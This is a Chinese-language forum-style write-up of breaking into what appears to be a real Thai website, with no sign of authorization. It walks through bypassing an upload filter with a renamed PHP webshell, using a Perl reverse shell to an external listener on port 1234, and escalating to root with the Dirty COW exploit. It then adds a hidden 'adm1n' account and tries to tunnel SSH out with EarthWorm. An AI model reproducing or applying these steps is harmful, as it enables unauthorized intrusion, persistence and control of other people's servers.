|
简述过程: 收集信息:1.端口------nmap 4.Web------WVS 5.目录------御剑 6.Google 得到信息: 端口开放80(http),7777(不知道是啥) 端口不多,恐怕又仅仅是台跑web的虚拟机。 旁站
收集之后整理成txt备用。
Whois
得到邮箱,电话,邮编。后面可用于组合字典。
Web(忘记截图,尽量文字详述)旁站txt扔WVS扫,在http://*.th下扫到一上传点,直接上传php提示只允许pdf,上传pdf并burpsuit抓包,改后缀为php,上传成功,看来是本地验证。菜刀连接shell提示permission denied,访问刚才上传的pdf正常,应该是目录下限制了脚本文件的执行。上传asp马,不解析。上传pHp马,菜刀连接成功,黑名单验证。 不太熟悉国外站的结构,御剑和google都没找到啥有用的,不再赘述。 提权
菜刀里执行命令失败,上spy查一波系统信息。
安全模式没开,那就可能是禁用了相关函数。 上传突破函数调用的php脚本(这个好像是调用mail函数,没细看)到网站目录,
执行成功,为了获得交互界面,再反弹个shell到本地。传pl反弹脚本到网站目录,外网开nc监听1234端口,打开http://*.th/admin/upload/download/35146.pHp?cmd=perl%20/tmp/shell.pl%20*.*.*.*%201234
获得shell。cat /proc/versionàLinux version2.6.25.9-40.fc8 (mockbuild@x86-3) (gcc version 4.1.2 20070925 (Red Hat4.1.2-33)) #1 SMP Fri Jun 27 16:05:49 EDT 2008尝试了多个对应内核的exp,均不行。找来刚出的脏牛,测试了很久,不是编译失败就是执行失败。不过最后,解决了一些细节上的问题后测试成功。(1)gcc –o cowroot.c –o cowroot编译失败:用gcccowroot.c -o cowroot –pthread编译成功(2)./cowroot执行提示没权限: Chmod +xcowroot赋予执行权限(3)./cowroot 执行后没反应: 等待几分钟,会有回显的.回显后执行/usr/bin/passwd,等待一会,再执行whoami,root即为成功。 加账号的时候useradd和 adduser都提示命令找不到,百度了下说是环境变量设置有问题。解决办法是用:/usr/sbin/useradd /usr/sbin/useradd -p'passwd' adm1n –M成功执行加上账号。由于服务器是内网,连接ssh还要转发出来。用表哥给的EarthWorm尝试转发,内网主机(左)和外网(右)执行命令如下,转发到外网的1080端口
本机用Proxifier配置代理,
代理下打开bash,ssh连接外网主机1080端口。
提示拒绝连接。回到shell里测试本机连接自己,sshroot@localhost,爆错了
蒙逼中……ps菜b第一次提linux,希望各位多多指正。
|